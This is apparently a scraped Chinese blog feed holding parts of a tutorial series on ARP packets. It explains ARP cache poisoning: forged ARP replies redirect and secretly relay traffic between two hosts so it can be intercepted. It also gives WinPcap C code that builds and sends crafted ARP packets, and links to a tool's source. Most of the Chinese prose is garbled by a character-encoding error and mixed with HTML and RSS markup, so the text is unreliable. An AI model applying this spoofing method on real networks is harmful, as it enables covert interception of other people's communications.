A ä¸?/span> B 正在通信åQŒå¦‚果我们想要刺æŽ?/span> A ―â€?/span> >B 通信的内容,于是我们ž®±å¯ä»¥ç»™ A 发送一个伪造的 ARP 回应包,告诉 A åQ?/span> B çš?/span> IP 对应çš?/span> MAC 条目为我们的 MAC 地址åQŒäºŽæ˜¯ï¼Œ A 也就ä¼?x¨¬)相应的åˆäh–°è‡ªå·±çš?/span> ARP ¾~“å­˜åQŒå°†å‘ç»™ B 的数据,源源不断的发送到我们的主æœÞZ¸Šæ¥ï¼Œ˜q™æ ·æˆ‘就可以å¯ÒŽ(gu¨©)Ž¥æ”¶åˆ°çš„æ•°æ®åŒ…˜q›è¡Œåˆ†æžž®±å¥½äº?ji¨£n),辑ֈ°äº†(ji¨£n)监听的目的。当ç„?d¨°ng)ž¼Œå› äØ?f¨´)动æ€?/span> ARP ¾~“存是动态的åQŒæœ‰­‘…æ—¶æ—‰™—´çš„,所以我们必™åÀL¯éš”一ŒD‰|—¶é—´å°±¾l?/span> A 发送一ä¸?/span> ARP 回应åŒ?/span>

虽然我们˜q™æ ·è¾‘Öˆ°äº?ji¨£n)目的,但æ˜?/span> A åˆ?/span> B 的通信却被停止äº?ji¨£n),ä¸ÞZº†(ji¨£n)不让 B 发现åQŒæˆ‘们还要对每次接收到的数据包进行è{发,全部都è{发给 B åQŒè¿™æ ·å°±å¤©è¡£æ— ç¼äº?/span> ^_^

同样的,如果我们˜q˜æƒ³ç›‘听 B à A 的数据包åQŒä¸€æ ïL(f¨¥ng)»™ B 发一ä¸?/span> ARP 回应包,告诉 B åQ?/span> A çš?/span> IP 对应çš?/span> MAC 是我们的ä¸ÀLœº MAC åQŒäºŽæ˜?/span> B åˆ?/span> A 的数据包也源源不断的发到我们的主æœÞZ¸Šæ¥äº†(ji¨£n)åQŒå½“然我们也是一栯‚¦å¯¹è¿™äº›æ•°æ®åŒ…˜q›è¡Œè½¬å‘åQŒå¦‚图:(x¨¬)

A (t¨©ng) (t¨©ng)<------> (t¨©ng)  (t¨©ng) 我们的主æœ?/span>  (t¨©ng)  (t¨©ng)<------> (t¨©ng)  (t¨©ng)B

一切都无误的话åQ?/span> A å’?/span> B 的通信内容ž®Þp¿™æ ·ä¸çŸ¥ä¸è§‰çš„被我们监听到äº?/span> ^_^

具体的代码实现由于篇òq…的关系我就不放在这里讲äº?ji¨£n),如果需要我ž®×ƒ¸“门另写篇文章附上完整代码å?/span>

è‡Ïx(ch¨®ng)­¤åQŒæˆ‘们的 ARP 基础知识ž®Þp®²å®Œäº†(ji¨£n)åQŒä½†æ„¿æ?zh¨¨n)¨èƒ½ä»Žä¸­æœ‰æ‰€æ”¶èŽ·

 (t¨©ng)

后记åQ?/span>

 (t¨©ng)因䨓(f¨´)本äh开发都是ä‹Éç”?/span> VC++.net 2003 åQŒæ‰€ä»¥æ²¡æœ‰å®‰è£?/span> .net 的朋友是打不开工程的, 可以试一ä¸?/span> vckbase 上的工程转换工具åQŒæœ¬äººæ²¡æœ‰è¯•˜q‡ï¼Œä¸ä¿è¯æœ‰æ•?/span>

 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) http://www.vckbase.com/tools/assist/prjconverter.rar

而且本文的代码ä‹É用了(ji¨£n) winpcap 开发包åQŒæ˜¯è¦å¦å¤–安è£?/span> ainpcap 驱动ã€?/span>

读者可以安装我代码包里的驱动,不过它更新很快,可以到它主页上去下蝲最新版�/span>

 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) http://winpcap.polito.it/install/default.htm

 (t¨©ng) (t¨©ng) (t¨©ng) 不做开发的读者,只用下蝲òq¶å®‰è£…这个就可以äº?/span> WinPcap auto-installer (driver +DLLs)

 (t¨©ng) (t¨©ng) 我的原文å?qi¨¢ng)源码下载地址½EåŽè´´å‡ºåQŒè¯·å…Ïx(ch¨®ng)³¨æœ¬å¸– ^_^

 (t¨©ng) (t¨©ng) (t¨©ng)

 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 源码下蝲地址åQŒæ–°é²œå‡ºç‚‰ï¼Œéžå¸¸æ„Ÿè°¢ _foo 兄弟提供的空é—?/font>

http://iunknown.com.cn/csdn/network/ARPPlayer_By_PiggyXP.rar



]]>
åQˆè{åQ‰æ‰‹æŠŠæ‰‹æ•™ä½ çŽ©è{ARP包(三)(j¨ª)【数据包的游戏系列之一ã€?/title><link>http://www.aygfsteel.com/yczz/articles/100056.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:45:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100056.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100056.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100056.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100056.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100056.html</trackback:ping><description><![CDATA[ <div id="wmqeeuq" class="postText"> <div> <font face="å®?hu¨¤)ä½? color="#ff00ff" size="2">作者:(x¨¬)</font> </div> <div> <font face="å®?hu¨¤)ä½?> <font size="2"> <font color="#0000ff">CSDN (t¨©ng) VC/MFC ¾|‘络¾~–程</font> <font color="#f70909">PiggyXP</font>  (t¨©ng)<font color="#0909f7">^_^</font></font> </font> </div> <div> <strong> <font face="å®?hu¨¤)ä½? color="#800080" size="2"> </font> </strong> (t¨©ng)</div> <div> <font size="2"> <font color="#ff00ff"> <strong> (t¨©ng)</strong> 目录åQ?/font> </font> <div> <font face="Times New Roman"> <strong> </strong> </font> </div> <div> <font face="Times New Roman" color="#0000ff" size="2">二。发送数据包的编½E‹å®žçŽ?/font> </div> <div> <font color="#0000ff" size="2"> (t¨©ng) (t¨©ng) 1. (t¨©ng) 填充数据åŒ?/font> </div> <div> <font color="#0000ff" size="2"> (t¨©ng) (t¨©ng) 2. (t¨©ng) 发送数据包</font> </div> <div> <font color="#0000ff" size="2">三。一些附加步骤及(qi¨¢ng)说明</font> </div> <div> <font color="#0000ff" size="2"> (t¨©ng) (t¨©ng) 1. (t¨©ng) 如果在VC中ä‹É用winpcap</font> </div> <div> <font color="#0000ff" size="2"> (t¨©ng) (t¨©ng) 2. (t¨©ng) 获得¾|‘卡信息列表</font> </div> <div> <font color="#0000ff" size="2"> (t¨©ng) (t¨©ng) 3. (t¨©ng) 获得¾pȝ»ŸARP信息列表</font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <font color="#666699" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)................紧接ä¸?/font> <font color="#666699" size="2">æ–?...............</font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">填充数据åŒ?/span> </div> <div> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> (t¨©ng)</div> <div> <font size="2">下面我ä‹D个填充包头的例子åQŒæˆ‘首先定义个了(ji¨£n)一个è{换字½W¦çš„函数åQŒå¦‚ä¸?/font> </div> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#5ea25e" size="2">/****************************************************************************</font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)* (t¨©ng) (t¨©ng) Name & Params::</font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) formatStrToMAC</font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (</font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) const LPSTR lpHWAddrStr : 用户输入的MAC地址字符ä¸?/font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) unsigned char *HWAddr : (t¨©ng) (t¨©ng) ˜q”回的MAC地址字符ä¸?赋给数据包结构体)</font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) )</font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)* (t¨©ng) (t¨©ng) Purpose:</font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ž®†ç”¨æˆ¯‚¾“入的MAC地址字符转成数据包结构体需要的格式</font> </div> <div align="left"> <font color="#5ea25e" size="2"> (t¨©ng)****************************************************************************/</font> </div> <div align="left"> <font color="#2248dd" size="2">void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)</font> </div> <div align="left"> <font color="#2248dd" size="2">{</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) unsigned int i, index = 0, value, temp;</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) unsigned char c;</font> </div> <div align="left"> <font color="#2248dd" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) _strlwr(lpHWAddrStr); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) // 转换成小å†?/font> </div> <div align="left"> <font color="#2248dd" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) for (i = 0; i < strlen(lpHWAddrStr); i++)</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) {</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) c = *(lpHWAddrStr + i);</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) if (( c>='0' && c<='9' ) || ( c>='a' && c<='f' ))</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) {</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) if (c>='0' && c<='9') (t¨©ng) temp = c - '0'; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng)// æ•°å­—</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) if (c>='a' && c<='f') (t¨©ng) temp = c - 'a' + 0xa; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng)// 字母</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng)if ( (index % 2) == 1 )</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) {</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) value = value*0x10 + temp;</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) HWAddr[index/2] = value;</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) }</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) else value = temp;</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) index++;</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) }</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) if (index == 12) break;</font> </div> <div align="left"> <font color="#2248dd" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) }</font> </div> <div> <font color="#2248dd" size="2">}</font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <font color="#5ea279" size="2">// 开始填充各个字ŒD?/font> </div> <div> <font color="#1111ee" size="2">ARPPACKET ARPPacket; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng)// 定义ARPPACKET¾l“构体变é‡?/font> </div> <div> <font color="#1111ee" size="2"> </font> (t¨©ng)</div> <div> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) memset(&ARPPacket, 0, sizeof(ARPPACKET)); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)// 数据包初始化</font> </div> <div align="left"> <font color="#1111ee" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) formatStrToMAC(“DLC源MAC字符东y(c¨¨)€?ARPPacket.dlcHeader.SrcMAC); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // DLC帧头</font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) formatStrToMAC(“DLC目的MAC字符东y(c¨¨)€?ARPPacket.dlcHeader.DesMAC);</font> </div> <div align="left"> <font color="#1111ee" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) formatStrToMAC(“ARP源MAC字符东y(c¨¨)€?ARPPacket.arpFrame.Send_HW_Addr); (t¨©ng) // 源MAC</font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng)// 源IP</font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) formatStrToMAC(“ARP目的MAC字符东y(c¨¨)€?ARPPacket.arpFrame.Targ_HW_Addr); // 目的MAC</font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng)// 目的IP</font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // arp包类åž?/font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // 自动填充的常é‡?/font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网¾cÕdž‹</font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPPacket.arpFrame.HW_Type = htons((unsigned short)1); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)// ¼‹¬äšg¾cÕdž‹</font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800); (t¨©ng) (t¨©ng) (t¨©ng) // 上层协议¾cÕdž‹</font> </div> <div align="left"> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // MAC地址长度</font> </div> <div> <font color="#1111ee" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // IP地址长度</font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <font size="2">That’s all ! ^_^</font> </div> <div> <font size="2">填充完毕之后åQŒæˆ‘们需要做的就是把我们的ARPPACKET¾l“构体发送出åŽ?/font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <font size="2">2.发送ARP数据包:(x¨¬)</font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <font size="2">我们发送ARP包就要用到winpcapçš„apiäº?ji¨£n),具体步骤及(qi¨¢ng)函数是˜q™æ ·çš„,ä¸ÞZº†(ji¨£n)½Ž€å•易懂,我把错误处理的地斚wƒ½åŽÀLމäº?ji¨£n),详见代ç ?/font> </div> <div align="left"> <font color="#4db34d" size="2">/**********************************************************************</font> </div> <div align="left"> <font color="#4db34d" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Name & Params::</font> </div> <div align="left"> <font color="#4db34d" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) SendARPPacket()</font> </div> <div align="left"> <font color="#4db34d" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Purpose:</font> </div> <div align="left"> <font color="#4db34d" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 发送ARP数据åŒ?/font> </div> <div align="left"> <font color="#4db34d" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Remarks:</font> </div> <div align="left"> <font color="#4db34d" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 用的是winpcapçš„api函数</font> </div> <div align="left"> <font color="#4db34d" size="2">***********************************************************************/</font> </div> <div align="left"> <font color="#1a42e6" size="2">void SendARPPacket()</font> </div> <div align="left"> <font color="#1a42e6" size="2">{</font> </div> <div align="left"> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) char *AdapterDeviceName =GetCurAdapterName();  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)// 首先获得获得¾|‘卡名字</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) lpAdapter = PacketOpenAdapter(AdapterDeviceName); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // æ ÒŽ(gu¨©)®¾|‘卡名字打开¾|‘卡</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) lpPacket = PacketAllocatePacket(); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)// ¾l™PACKET¾l“构指针分配内存</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) PacketInitPacket(lpPacket, &ARPPacket, sizeof(ARPPacket)); (t¨©ng)//初始化PACKET¾l“构指针</font> </div> <div> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)// 其中的ARPPacketž®±æ˜¯æˆ‘们先前填充的ARPåŒ?/font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) PacketSetNumWrites(lpAdapter, 1); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)// 每次只发送一个包</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) PacketSendPacket(lpAdapter, lpPacket, true) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng)// Send !!!!! ^_^</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) PacketFreePacket(lpPacket); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // 释放资源</font> </div> <div align="left"> <font color="#1a42e6" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) PacketCloseAdapter(lpAdapter);</font> </div> <div> <font color="#1a42e6" size="2">}</font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <font size="2">呵呵åQŒè‡³æ­¤ï¼Œå…³äºŽARP包最关键的部分就讲完äº?ji¨£n),你现在就可以来随心(j¨©)所‹Æ²çš„发送自å·Þqš„ARP包了(ji¨£n)</font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <font size="2">æ—¢ç„¶ä½œäØ“(f¨´)一½‹‡â€œç§‘普文章”,接下来我再讲一讲与整个™å¹ç›®æœ‰å…³çš„附加步骤以å?qi¨¢ng)说æ?/font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div> <font color="#ff00ff" 